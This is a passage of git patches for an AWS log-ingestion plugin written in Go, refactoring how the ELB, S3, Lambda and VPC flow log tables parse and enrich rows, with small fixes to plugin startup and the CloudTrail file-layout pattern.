EC2 instances. - instanceID := strings.TrimPrefix(resourceDescriptor, "instance/") - keyElements = append(keyElements, instanceID) - } else if strings.HasPrefix(resourceDescriptor, "volume/") { - // Extract the volume ID for EC2 volumes. - volumeID := strings.TrimPrefix(resourceDescriptor, "volume/") - keyElements = append(keyElements, volumeID) - } - } + row.TpDate = time.UnixMilli(int64(row.EventTime)).Format("2006-01-02") - return keyElements + return row, nil } diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index 00acdfe5..171859f4 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -1,36 +1,53 @@ package tables import ( - "fmt" - "github.com/turbot/tailpipe-plugin-aws/models" - "strconv" - "strings" + "context" "time" "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" + "github.com/turbot/tailpipe-plugin-sdk/types" ) +const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` +const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` + type ElbAccessLogTable struct { - table.TableBase[*ElbAccessLogTableConfig] + table.TableImpl[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *config.AwsConnection] } func NewElbAccessLogTable() table.Table { return &ElbAccessLogTable{} } +func (c *ElbAccessLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { + // call base init + if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { + return err + } + + c.initMapper() + return nil +} + +func (c *ElbAccessLogTable) initMapper() { + // todo switch on source + c.Mapper = table.NewDelimitedLineMapper(rows.NewElbAccessLog, elbLogFormat, elbLogFormatNoConnTrace) +} + func (c *ElbAccessLogTable) Identifier() string { return "aws_elb_access_log" } func (c *ElbAccessLogTable) GetRowSchema() any { - return &models.AwsElbAccessLog{} + return &rows.ElbAccessLog{} } func (c *ElbAccessLogTable) GetConfigSchema() parse.Config { @@ -40,168 +57,30 @@ func (c *ElbAccessLogTable) GetConfigSchema() parse.Config { func (c *ElbAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { return []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), - artifact_source.WithArtifactMapper(mappers.NewElbAccessLogMapper()), } } -func (c *ElbAccessLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { - // short-circuit for unexpected row type - rawRecord, ok := row.(map[string]string) - if !ok { - return nil, fmt.Errorf("invalid row type: %T, expected map[string]string", row) - } - +func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.ElbAccessLog, error) { // TODO: #validate ensure we have a timestamp field - // Build record and add any source enrichment fields - var record models.AwsElbAccessLog + // add any source enrichment fields if sourceEnrichmentFields != nil { - record.CommonFields = *sourceEnrichmentFields - } - - for key, value := range rawRecord { - switch key { - case "type": - record.Type = value - case "timestamp": - ts, err := time.Parse(time.RFC3339, value) - if err != nil { - return nil, fmt.Errorf("error parsing timestamp: %w", err) - } - record.Timestamp = ts - record.TpTimestamp = helpers.UnixMillis(ts.UnixNano() / int64(time.Millisecond)) - case "elb": - record.Elb = value - case "client": - if value != "-" && strings.Contains(value, ":") { - ip := strings.Split(value, ":")[0] - record.ClientIP = ip - record.TpSourceIP = &ip - record.TpIps = append(record.TpIps, ip) - record.ClientPort, _ = strconv.Atoi(strings.Split(value, ":")[1]) - } - case "target": - if value != "-" && strings.Contains(value, ":") { - ip := strings.Split(value, ":")[0] - record.TargetIP = &ip - record.TpDestinationIP = &ip - record.TpIps = append(record.TpIps, ip) - record.TargetPort, _ = strconv.Atoi(strings.Split(value, ":")[1]) - } - case "request_processing_time": - rpt, err := strconv.ParseFloat(value, 64) - if err != nil { - return nil, fmt.Errorf("error parsing request_processing_time: %w", err) - } - record.RequestProcessingTime = rpt - case "target_processing_time": - tpt, err := strconv.ParseFloat(value, 64) - if err != nil { - return nil, fmt.Errorf("error parsing target_processing_time: %w", err) - } - record.TargetProcessingTime = tpt - case "response_processing_time": - rpt, err := strconv.ParseFloat(value, 64) - if err != nil { - return nil, fmt.Errorf("error parsing response_processing_time: %w", err) - } - record.ResponseProcessingTime = rpt - case "elb_status_code": - if value != "-" { - esc, err := strconv.Atoi(value) - if err != nil { - return nil, fmt.Errorf("error parsing elb_status_code: %w", err) - } - record.ElbStatusCode = &esc - } - case "target_status_code": - if value != "-" { - tsc, err := strconv.Atoi(value) - if err != nil { - return nil, fmt.Errorf("error parsing target_status_code: %w", err) - } - record.TargetStatusCode = &tsc - } - case "received_bytes": - if value != "-" { - rb, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return nil, fmt.Errorf("error parsing received_bytes: %w", err) - } - record.ReceivedBytes = &rb - } - case "sent_bytes": - if value != "-" { - sb, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return nil, fmt.Errorf("error parsing sent_bytes: %w", err) - } - record.SentBytes = &sb - } - case "request": - record.Request = value - case "user_agent": - record.UserAgent = value - case "ssl_cipher": - record.SslCipher = value - case "ssl_protocol": - record.SslProtocol = value - case "target_group_arn": - record.TargetGroupArn = value - case "trace_id": - record.TraceID = value - case "domain_name": - record.DomainName = value - record.TpDomains = append(record.TpDomains, value) - case "chosen_cert_arn": - record.ChosenCertArn = value - case "matched_rule_priority": - if value != "-" { - mrp, err := strconv.Atoi(value) - if err != nil { - return nil, fmt.Errorf("error parsing matched_rule_priority: %w", err) - } - record.MatchedRulePriority = mrp - } - case "request_creation_time": - rct, err := time.Parse(time.RFC3339, value) - if err != nil { - return nil, fmt.Errorf("error parsing request_creation_time: %w", err) - } - record.RequestCreationTime = rct - case "actions_executed": - record.ActionsExecuted = value - case "redirect_url": - record.RedirectURL = &value - case "error_reason": - record.ErrorReason = &value - case "target_list": - record.TargetList = &value - case "target_status_list": - record.TargetStatusList = &value - case "classification": - record.Classification = &value - case "classification_reason": - record.ClassificationReason = &value - case "conn_trace_id": - record.ConnTraceID = value - } - + row.CommonFields = *sourceEnrichmentFields } // Record standardization - record.TpID = xid.New().String() - record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) - record.TpSourceType = "aws_elb_access_log" // TODO: #refactor move to source? + row.TpID = xid.New().String() + row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + row.TpSourceType = "aws_elb_access_log" // TODO: #refactor move to source? // Hive Fields - record.TpPartition = c.Identifier() - if record.TpIndex == "" { - record.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) + row.TpPartition = c.Identifier() + if row.TpIndex == "" { + row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) } // convert to date in format yy-mm-dd - record.TpDate = record.Timestamp.Format("2006-01-02") + row.TpDate = row.Timestamp.Format("2006-01-02") - return record, nil + return row, nil } diff --git a/tables/helpers.go b/tables/helpers.go new file mode 100644 index 00000000..5e175c42 --- /dev/null +++ b/tables/helpers.go @@ -0,0 +1,49 @@ +package tables + +import "strings" + +// awsAkasFromArn will extract key identifiers from an AWS ARN string. For example: +// * the full arn +// * the account ID +// * EC2 instance ID +// * S3 bucket name +// * EC2 volume ID + +func awsAkasFromArn(arn string) []string { + // Split the ARN into its components. + parts := strings.Split(arn, ":") + if len(parts) < 6 { + return []string{} + } + + // Extract the service name and the resource descriptor. + service := parts[2] + resourceDescriptor := parts[5] + accountID := parts[4] + + // Initialize a slice to hold the key elements. + keyElements := []string{arn} + if accountID != "" { + keyElements = append(keyElements, accountID) + } + + // Handle different services. + switch service { + case "s3": + // For S3, the resource descriptor is the bucket name. + keyElements = append(keyElements, resourceDescriptor) + case "ec2": + // For EC2, we need to further parse the resource descriptor. + if strings.HasPrefix(resourceDescriptor, "instance/") { + // Extract the instance ID for EC2 instances. + instanceID := strings.TrimPrefix(resourceDescriptor, "instance/") + keyElements = append(keyElements, instanceID) + } else if strings.HasPrefix(resourceDescriptor, "volume/") { + // Extract the volume ID for EC2 volumes. + volumeID := strings.TrimPrefix(resourceDescriptor, "volume/") + keyElements = append(keyElements, volumeID) + } + } + + return keyElements +} diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index fe0df130..4bf11b75 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -2,12 +2,13 @@ package tables import ( "fmt" - "github.com/turbot/tailpipe-plugin-aws/models" "strconv" "strings" "time" "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" @@ -17,8 +18,8 @@ import ( ) type LambdaLogTable struct { - // all tables must embed table.TableBase - table.TableBase[*LambdaLogTableConfig] + // all tables must embed table.TableImpl + table.TableImpl[string, *LambdaLogTableConfig, *config.AwsConnection] } func NewLambdaLogTable() table.Table { @@ -36,80 +37,76 @@ func (c *LambdaLogTable) GetSourceOptions(sourceType string) []row_source.RowSou } func (c *LambdaLogTable) GetRowSchema() any { - return &models.AwsLambdaLog{} + return &rows.AwsLambdaLog{} } func (c *LambdaLogTable) GetConfigSchema() parse.Config { return &LambdaLogTableConfig{} } -func (c *LambdaLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { - rawRecord, ok := row.(string) - if !ok { - return nil, fmt.Errorf("invalid row type: %T, expected string", row) - } - - var record models.AwsLambdaLog +// TODO K why does this not fail to compile? +func (c *LambdaLogTable) EnrichRow(rawRow string, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { + var row rows.AwsLambdaLog if sourceEnrichmentFields != nil { - record.CommonFields = *sourceEnrichmentFields + row.CommonFields = *sourceEnrichmentFields ts := time.UnixMilli(int64(sourceEnrichmentFields.TpTimestamp)) - record.Timestamp = &ts + row.Timestamp = &ts } // remove trailing newline - rawRecord = strings.TrimSuffix(rawRecord, "\n") - fields := strings.Fields(rawRecord) + rawRow = strings.TrimSuffix(rawRow, "\n") + fields := strings.Fields(rawRow) switch fields[0] { case "START", "END": - record.LogType = &fields[0] - record.RequestID = &fields[2] + row.LogType = &fields[0] + row.RequestID = &fields[2] case "REPORT": - record.LogType = &fields[0] - record.RequestID = &fields[2] + row.LogType = &fields[0] + row.RequestID = &fields[2] duration, err := strconv.ParseFloat(fields[4], 64) if err != nil { return nil, fmt.Errorf("error parsing duration: %w", err) } - record.Duration = &duration + row.Duration = &duration billed, err := strconv.ParseFloat(fields[8], 64) if err != nil { return nil, fmt.Errorf("error parsing billed duration: %w", err) } - record.BilledDuration = &billed + row.BilledDuration = &billed mem, err := strconv.Atoi(fields[12]) if err != nil { return nil, fmt.Errorf("error parsing memory size: %w", err) } - record.MemorySize = &mem + row.MemorySize = &mem maxMem, err := strconv.Atoi(fields[17]) if err != nil { return nil, fmt.Errorf("error parsing max memory used: %w", err) } - record.MaxMemoryUsed = &maxMem + row.MaxMemoryUsed = &maxMem default: t := "LOG" - record.LogType = &t + row.LogType = &t // TODO: #enrich should we overwrite the timestamp with that in the log entry? - record.RequestID = &fields[1] - record.LogLevel = &fields[2] + row.RequestID = &fields[1] + row.LogLevel = &fields[2] strip := fmt.Sprintf("%s%s", strings.Join(fields[:3], "\t"), "\t") - stripped := strings.TrimPrefix(rawRecord, strip) - record.Message = &stripped + stripped := strings.TrimPrefix(rawRow, strip) + row.Message = &stripped } // Record standardization - record.TpID = xid.New().String() - record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + row.TpID = xid.New().String() + row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) // Hive fields - record.TpPartition = c.Identifier() - if record.TpIndex == "" { - record.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) + row.TpPartition = c.Identifier() + if row.TpIndex == "" { + row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) } // convert to date in format yy-mm-dd - record.TpDate = record.Timestamp.Format("2006-01-02") + row.TpDate = row.Timestamp.Format("2006-01-02") - return record, nil + return row, nil } diff --git a/tables/s3_server_access_log.go b/tables/s3_server_access_log.go deleted file mode 100644 index 182cae9d..00000000 --- a/tables/s3_server_access_log.go +++ /dev/null @@ -1,38 +0,0 @@ -package tables - -import ( - "time" - - "github.com/turbot/tailpipe-plugin-sdk/enrichment" -) - -type AwsS3ServerAccessLog struct { - enrichment.CommonFields - - BucketOwner string `json:"bucket_owner"` - Bucket string `json:"bucket"` - Timestamp time.Time `json:"timestamp"` - RemoteIP string `json:"remote_ip"` - Requester string `json:"requester"` - RequestID string `json:"request_id"` - Operation string `json:"operation"` - Key *string `json:"key,omitempty"` - RequestURI *string `json:"request_uri,omitempty"` - HTTPStatus *int `json:"http_status,omitempty"` - ErrorCode *string `json:"error_code,omitempty"` - BytesSent *int64 `json:"bytes_sent,omitempty"` - ObjectSize *int64 `json:"object_size,omitempty"` - TotalTime *int `json:"total_time,omitempty"` - TurnAroundTime *int `json:"turn_around_time,omitempty"` - Referer *string `json:"referer,omitempty"` - UserAgent *string `json:"user_agent,omitempty"` - VersionID *string `json:"version_id,omitempty"` - HostID *string `json:"host_id,omitempty"` - SignatureVersion *string `json:"signature_version,omitempty"` - CipherSuite *string `json:"cipher_suite,omitempty"` - AuthenticationType *string `json:"authentication_type,omitempty"` - HostHeader *string `json:"host_header,omitempty"` - TLSVersion *string `json:"tls_version,omitempty"` - AccessPointArn *string `json:"access_point_arn,omitempty"` - AclRequired *bool `json:"acl_required,omitempty"` -} diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index 60474782..0add439f 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -1,34 +1,53 @@ package tables import ( - "fmt" - "github.com/rs/xid" - "strconv" + "context" "time" - "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" + "github.com/turbot/tailpipe-plugin-sdk/types" ) +const s3ServerAccessLogFormat = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn $acl_required` +const s3ServerAccessLogFormatReduced = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn` + type S3ServerAccessLogTable struct { - table.TableBase[*S3ServerAccessLogTableConfig] + table.TableImpl[*rows.S3ServerAccessLog, *S3ServerAccessLogTableConfig, *config.AwsConnection] } func NewS3ServerAccessLogTable() table.Table { return &S3ServerAccessLogTable{} } +func (c *S3ServerAccessLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { + // call base init + if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { + return err + } + + c.initMapper() + return nil +} + +func (c *S3ServerAccessLogTable) initMapper() { + // TODO switch on source + c.Mapper = table.NewDelimitedLineMapper(rows.NewS3ServerAccessLog, s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced) +} + func (c *S3ServerAccessLogTable) Identifier() string { return "aws_s3_server_access_log" } func (c *S3ServerAccessLogTable) GetRowSchema() any { - return &AwsS3ServerAccessLog{} + return rows.NewS3ServerAccessLog } func (c *S3ServerAccessLogTable) GetConfigSchema() parse.Config { @@ -38,163 +57,29 @@ func (c *S3ServerAccessLogTable) GetConfigSchema() parse.Config { func (c *S3ServerAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { return []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), - artifact_source.WithArtifactMapper(mappers.NewS3ServerAccessLogMapper()), } } -func (c *S3ServerAccessLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { - // short-circuit for unexpected row type - rawRecord, ok := row.(map[string]string) - if !ok { - return nil, fmt.Errorf("invalid row type: %T, expected map[string]string", row) - } - +func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // TODO: #validate ensure we have a timestamp field - // Build record and add any source enrichment fields - var record AwsS3ServerAccessLog + // add any source enrichment fields if sourceEnrichmentFields != nil { - record.CommonFields = *sourceEnrichmentFields - } - - for key, value := range rawRecord { - switch key { - case "bucket_owner": - record.BucketOwner = value - case "bucket": - record.Bucket = value - case "timestamp": - ts, err := time.Parse("02/Jan/2006:15:04:05 -0700", value) - if err != nil { - return nil, fmt.Errorf("error parsing timestamp: %w", err) - } - record.Timestamp = ts - record.TpTimestamp = helpers.UnixMillis(ts.UnixNano() / int64(time.Millisecond)) - case "remote_ip": - record.RemoteIP = value - record.TpSourceIP = &value - record.TpIps = append(record.TpIps, value) - case "requester": - record.Requester = value - case "request_id": - record.RequestID = value - case "operation": - record.Operation = value - case "key": - if value != "-" { - record.Key = &value - } - case "request_uri": - if value != "-" { - record.RequestURI = &value - } - case "http_status": - if value != "-" { - hs, err := strconv.Atoi(value) - if err != nil { - return nil, fmt.Errorf("error parsing http_status: %w", err) - } - record.HTTPStatus = &hs - } - case "error_code": - if value != "-" { - record.ErrorCode = &value - } - case "bytes_sent": - if value != "-" { - bs, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return nil, fmt.Errorf("error parsing bytes_sent: %w", err) - } - record.BytesSent = &bs - } - case "object_size": - if value != "-" { - os, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return nil, fmt.Errorf("error parsing object_size: %w", err) - } - record.ObjectSize = &os - } - case "total_time": - if value != "-" { - tt, err := strconv.Atoi(value) - if err != nil { - return nil, fmt.Errorf("error parsing total_time: %w", err) - } - record.TotalTime = &tt - } - case "turn_around_time": - if value != "-" { - tat, err := strconv.Atoi(value) - if err != nil { - return nil, fmt.Errorf("error parsing turn_around_time: %w", err) - } - record.TurnAroundTime = &tat - } - case "referer": - if value != "-" { - record.Referer = &value - } - case "user_agent": - if value != "-" { - record.UserAgent = &value - } - case "version_id": - if value != "-" { - record.VersionID = &value - } - case "host_id": - if value != "-" { - record.HostID = &value - } - case "signature_version": - if value != "-" { - record.SignatureVersion = &value - } - case "cipher_suite": - if value != "-" { - record.CipherSuite = &value - } - case "authentication_type": - if value != "-" { - record.AuthenticationType = &value - } - case "host_header": - if value != "-" { - record.HostHeader = &value - } - case "tls_version": - if value != "-" { - record.TLSVersion = &value - } - case "access_point_arn": - if value != "-" { - record.AccessPointArn = &value - } - case "acl_required": - if value != "-" { - b := true - record.AclRequired = &b - } else { - b := false - record.AclRequired = &b - } - } + row.CommonFields = *sourceEnrichmentFields } // Record standardization - record.TpID = xid.New().String() - record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) - record.TpSourceType = "aws.s3_server_access_log" + row.TpID = xid.New().String() + row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + row.TpSourceType = "aws.s3_server_access_log" // Hive Fields - record.TpPartition = c.Identifier() - if record.TpIndex == "" { - record.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) + row.TpPartition = c.Identifier() + if row.TpIndex == "" { + row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) } // convert to date in format yy-mm-dd - record.TpDate = record.Timestamp.Format("2006-01-02") + row.TpDate = row.Timestamp.Format("2006-01-02") - return record, nil + return row, nil } diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index 7931cde3..571fe678 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -1,27 +1,45 @@ package tables import ( - "fmt" - "github.com/turbot/tailpipe-plugin-aws/models" + "context" "time" "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/table" + "github.com/turbot/tailpipe-plugin-sdk/types" ) // VPCFlowLogLogTable - table for VPC Flow Logs type VPCFlowLogLogTable struct { - // all tables must embed table.TableBase - table.TableBase[*VpcFlowLogTableConfig] + // all tables must embed table.TableImpl + table.TableImpl[*rows.VpcFlowLog, *VpcFlowLogTableConfig, *config.AwsConnection] } func NewVPCFlowLogLogTable() table.Table { return &VPCFlowLogLogTable{} } +func (c *VPCFlowLogLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { + // call base init + if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { + return err + } + + c.initMapper() + return nil +} + +func (c *VPCFlowLogLogTable) initMapper() { + // TODO switch on source + c.Mapper = mappers.NewVpcFlowlogMapper(c.Config.Fields) +} + // Identifier implements table.Table func (c *VPCFlowLogLogTable) Identifier() string { return "aws_vpc_flow_log" @@ -30,7 +48,7 @@ func (c *VPCFlowLogLogTable) Identifier() string { // GetRowSchema implements table.Table // return an instance of the row struct func (c *VPCFlowLogLogTable) GetRowSchema() any { - return models.AwsVpcFlowLog{} + return rows.VpcFlowLog{} } func (c *VPCFlowLogLogTable) GetConfigSchema() parse.Config { @@ -38,71 +56,59 @@ func (c *VPCFlowLogLogTable) GetConfigSchema() parse.Config { } // EnrichRow implements table.Table -func (c *VPCFlowLogLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { - // row must be a string - rowString, ok := row.(string) - if !ok { - return nil, fmt.Errorf("invalid row type %T, expected string", row) - } - record, err := models.FlowLogFromString(rowString, c.Config.Fields) - - if err != nil { - return nil, fmt.Errorf("error parsing row: %s", err) - } - +func (c *VPCFlowLogLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.VpcFlowLog, error) { // initialize the enrichment fields to any fields provided by the source if sourceEnrichmentFields != nil { - record.CommonFields = *sourceEnrichmentFields + row.CommonFields = *sourceEnrichmentFields } // Record standardization - record.TpID = xid.New().String() + row.TpID = xid.New().String() // TODO is source type actually the source, i.e compressed file source etc> // should these all be filled in by the source??? - record.TpSourceType = c.Identifier() - //record.TpSourceName = ??? - //record.TpSourceLocation = ??? - record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + row.TpSourceType = c.Identifier() + //row.TpSourceName = ??? + //row.TpSourceLocation = ??? + row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) // Hive fields // TODO - should be based on the definition in HCL - record.TpPartition = "default" - if record.AccountID != nil { - record.TpIndex = *record.AccountID + row.TpPartition = "default" + if row.AccountID != nil { + row.TpIndex = *row.AccountID } // populate the year, month, day from start time - if record.Timestamp != nil { + if row.Timestamp != nil { // convert to date in format yy-mm-dd - record.TpDate = record.Timestamp.In(time.UTC).Format("2006-01-02") - record.TpTimestamp = helpers.UnixMillis(record.Timestamp.UnixNano() / int64(time.Millisecond)) + row.TpDate = row.Timestamp.In(time.UTC).Format("2006-01-02") + row.TpTimestamp = helpers.UnixMillis(row.Timestamp.UnixNano() / int64(time.Millisecond)) - } else if record.Start != nil { + } else if row.Start != nil { // convert to date in format yy-mm-dd // TODO is Start unix millis?? if so why do we convert it for TpTimestamp - record.TpDate = time.UnixMilli(*record.Start).Format("2006-01-02") + row.TpDate = time.UnixMilli(*row.Start).Format("2006-01-02") //convert from unis seconds to milliseconds - record.TpTimestamp = helpers.UnixMillis(*record.Start * 1000) + row.TpTimestamp = helpers.UnixMillis(*row.Start * 1000) } - //record.TpAkas = ??? - //record.TpTags = ??? - //record.TpDomains = ??? - //record.TpEmails = ??? - //record.TpUsernames = ??? + //row.TpAkas = ??? + //row.TpTags = ??? + //row.TpDomains = ??? + //row.TpEmails = ??? + //row.TpUsernames = ??? // ips - if record.SrcAddr != nil { - record.TpSourceIP = record.SrcAddr - record.TpIps = append(record.TpIps, *record.SrcAddr) + if row.SrcAddr != nil { + row.TpSourceIP = row.SrcAddr + row.TpIps = append(row.TpIps, *row.SrcAddr) } - if record.DstAddr != nil { - record.TpDestinationIP = record.DstAddr - record.TpIps = append(record.TpIps, *record.DstAddr) + if row.DstAddr != nil { + row.TpDestinationIP = row.DstAddr + row.TpIps = append(row.TpIps, *row.DstAddr) } - return record, nil - + return row, nil } From 3cb4046fcd48d5dbb2bdea909658bdb20d1390dd Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 5 Nov 2024 13:35:11 +0700 Subject: [PATCH 062/180] fix S3ServerAccessLogTable GetRowSchema --- aws/plugin.go | 14 +++++++++++--- tables/s3_server_access_log_table.go | 2 +- 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 8d926e7e..a2edc638 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -1,6 +1,9 @@ package aws import ( + "log/slog" + + "github.com/turbot/go-kit/helpers" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/tables" "github.com/turbot/tailpipe-plugin-sdk/plugin" @@ -11,10 +14,15 @@ type Plugin struct { plugin.PluginImpl } -func NewPlugin() (plugin.TailpipePlugin, error) { - //slog.Info("AWS Plugin starting") +func NewPlugin() (_ plugin.TailpipePlugin, err error) { + defer func() { + if r := recover(); r != nil { + err = helpers.ToError(r) + } + }() + slog.Info("AWS Plugin starting") //time.Sleep(10 * time.Second) - //slog.Info("AWS Plugin started") + slog.Info("AWS Plugin started") p := &Plugin{ PluginImpl: plugin.NewPluginImpl("aws", config.NewAwsConnection), diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index 0add439f..51e8e5d3 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -47,7 +47,7 @@ func (c *S3ServerAccessLogTable) Identifier() string { } func (c *S3ServerAccessLogTable) GetRowSchema() any { - return rows.NewS3ServerAccessLog + return rows.NewS3ServerAccessLog() } func (c *S3ServerAccessLogTable) GetConfigSchema() parse.Config { From ebd585b57b0e6c72fc238155d1617a95d3b8d4ef Mon Sep 17 00:00:00 2001 From: Graza Date: Tue, 5 Nov 2024 16:08:13 +0700 Subject: [PATCH 063/180] fix: reverted change to regex --- tables/cloudtrail_log_table.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 4158ac89..0107da43 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -61,7 +61,7 @@ func (c *CloudTrailLogTable) GetSourceOptions(sourceType string) []row_source.Ro // the default file layout for Cloudtrail logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ // TODO #config finalise default cloudtrail file layout - FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrailLog/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})S(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), + FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), } opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)) } From 84fe5dc303d712dd2efdf0abcf3a5537ea50e810 Mon Sep 17 00:00:00 2001 From: Graza Date: Wed, 6 Nov 2024 11:27:40 +0700 Subject: [PATCH 064/180] docs: added folder for table docs --- docs/index.md | 0 